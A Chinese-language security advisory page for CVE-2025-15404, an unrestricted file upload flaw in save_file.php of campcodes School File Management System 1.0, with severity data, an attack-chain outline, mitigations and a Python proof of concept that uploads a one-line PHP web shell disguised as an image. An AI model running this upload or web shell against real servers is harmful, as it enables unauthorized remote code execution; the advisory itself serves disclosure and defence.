IPBUF安全漏洞报告
English
CVE-2025-15404 CVSS 6.3 中危

CVE-2025-15404: campcodes School File Management System 1.0 无限制文件上传漏洞

披露日期: 2026-01-01

漏洞信息

漏洞编号
CVE-2025-15404
漏洞类型
无限制文件上传
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
campcodes School File Management System 1.0

相关标签

CVE-2025-15404无限制文件上传campcodesSchool File Management SystemWebShell远程代码执行PHPCVSS 6.3中危漏洞

漏洞概述

CVE-2025-15404是campcodes School File Management System 1.0版本中存在的一个安全漏洞。该漏洞位于save_file.php文件中的File参数,攻击者可以通过操纵该参数实现任意文件上传。由于系统未对上传文件的类型、内容和扩展名进行充分验证,攻击者可以上传恶意文件(如WebShell)到服务器,从而实现远程代码执行或进一步渗透系统。该漏洞可通过网络远程利用,攻击者需要具备低权限用户身份即可发起攻击。漏洞已被公开披露并存在可利用的POC,危害程度中等。

技术细节

该漏洞属于无限制文件上传(Unrestricted File Upload)类型。在campcodes School File Management System 1.0的save_file.php文件中,系统接收用户上传的文件时未对File参数进行充分的过滤和验证。具体问题包括:1) 未检查上传文件的MIME类型;2) 未限制可上传文件的扩展名;3) 未对上传文件内容进行安全检测;4) 上传目录可直接访问。攻击者可以通过构造恶意请求,上传包含PHP代码的.jpg或其他伪装文件,然后访问该文件即可在服务器上执行任意代码。此漏洞可能被用于获取服务器权限、植入后门或进行进一步的内网渗透。

攻击链分析

STEP 1
步骤1
攻击者识别目标站点使用campcodes School File Management System 1.0
STEP 2
步骤2
攻击者访问save_file.php文件,发现存在文件上传功能
STEP 3
步骤3
构造恶意文件(如PHP WebShell),伪装为图片文件
STEP 4
步骤4
通过File参数上传恶意文件,系统未进行有效验证
STEP 5
步骤5
上传成功后,访问上传的文件路径执行恶意代码
STEP 6
步骤6
获取服务器命令执行权限,实现远程代码执行或进一步渗透

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-15404 PoC - Unrestricted File Upload in campcodes School File Management System 1.0 # Target: save_file.php def exploit(target_url, file_path): """ Upload malicious file to target server """ upload_url = f"{target_url}/save_file.php" # Prepare malicious file with PHP webshell files = { 'File': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'image/jpeg') } data = { 'submit': 'Upload' } try: response = requests.post(upload_url, files=files, data=data, timeout=10) print(f"[+] Upload request sent to {upload_url}") print(f"[+] Response status: {response.status_code}") if response.status_code == 200: print("[+] File uploaded successfully!") print("[+] Access the shell at: {target_url}/uploads/shell.php?cmd=whoami") else: print("[-] Upload failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <file_path>") print(f"Example: python {sys.argv[0]} http://target.com /path/to/file") sys.exit(1) target = sys.argv[1] exploit(target, sys.argv[2])

影响范围

campcodes School File Management System 1.0

防御指南

临时缓解措施
在厂商发布修复版本之前,可采取以下临时措施:1) 限制save_file.php的访问权限,仅允许授权用户访问;2) 在Web服务器配置中禁止上传目录的脚本执行权限;3) 部署Web应用防火墙(WAF)规则,检测和阻止恶意文件上传行为;4) 定期检查上传目录,及时发现和清理可疑文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表